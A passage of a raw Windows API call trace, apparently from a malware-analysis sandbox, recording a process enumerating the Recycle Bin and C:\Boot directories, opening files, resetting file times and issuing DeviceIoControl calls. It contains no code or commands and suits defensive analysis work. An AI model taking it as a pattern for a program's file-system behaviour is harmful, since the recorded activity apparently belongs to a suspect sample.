Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.430] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf85a60 [0034.431] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f610) returned 1 [0034.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf7ddb0 [0034.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf85b68 [0034.431] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.431] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0034.431] GetLastError () returned 0x12 [0034.431] FindFirstFileExW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60e670 [0034.431] FindClose (in: hFindFile=0x603778 | out: hFindFile=0x603778) returned 1 [0034.431] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.431] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0034.431] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0034.431] GetLastError () returned 0x12 [0034.431] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf85958) returned 1 [0034.431] FindClose (in: hFindFile=0x60e670 | out: hFindFile=0x60e670) returned 1 [0034.431] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf85a60) returned 1 [0034.431] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf85850) returned 1 [0034.431] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="")) returned 0 [0034.431] GetLastError () returned 0x12 [0034.431] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f720) returned 1 [0034.431] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0034.431] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f7a8) returned 1 [0034.431] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f148) returned 1 [0034.431] FindNextFileW (in: hFindFile=0x60b630, lpFindFileData=0x174fa34 | out: lpFindFileData=0x174fa34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Boot", cAlternateFileName="")) returned 1 [0034.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f148 [0034.431] GetFileAttributesExW (in: lpFileName="C:\\Boot" (normalized: "c:\\boot"), fInfoLevelId=0x0, lpFileInformation=0x174f930 | out: lpFileInformation=0x174f930*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0034.432] CreateFileW (lpFileName="C:\\Boot" (normalized: "c:\\boot"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0034.432] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x174f974, lpLastWriteTime=0x174f974) returned 0 [0034.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0034.432] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f9cc, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f9cc, lpOverlapped=0x0) returned 0 [0034.432] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0034.432] NtClose (Handle=0x180) returned 0x0 [0034.432] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f148) returned 1 [0034.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f148 [0034.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f7a8 [0034.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f720 [0034.432] FindFirstFileExW (in: lpFileName="C:\\Boot\\*", fInfoLevelId=0x1, lpFindFileData=0x174f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f77c) returned 0x60b670 [0034.432] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.432] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0034.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.432] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.432] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf7ddd0 [0034.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f610 [0034.432] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.432] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0034.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.432] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.433] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.433] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.433] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf7ddf0 [0034.433] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f588 [0034.433] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.433] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="")) returned 1 [0034.433] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.433] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.433] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.433] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.433] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.433] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85850 [0034.433] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f500 [0034.433] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.433] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="")) returned 1 [0034.433] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.433] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.433] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.433] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.433] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.433] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85870 [0034.433] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f478 [0034.433] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.433] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0034.433] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.433] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.433] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.433] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.433] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.433] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85890 [0034.433] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f3f0 [0034.433] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.433] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0034.433] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0034.433] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0034.433] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0034.433] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0034.433] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0034.433] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0034.434] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0034.434] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0034.434] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0034.434] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0034.434] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0034.434] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0034.434] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0034.434] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.434] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.434] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.434] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.434] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.434] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.434] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0034.434] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0034.434] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0034.434] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0034.434] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0034.434] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0034.434] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, 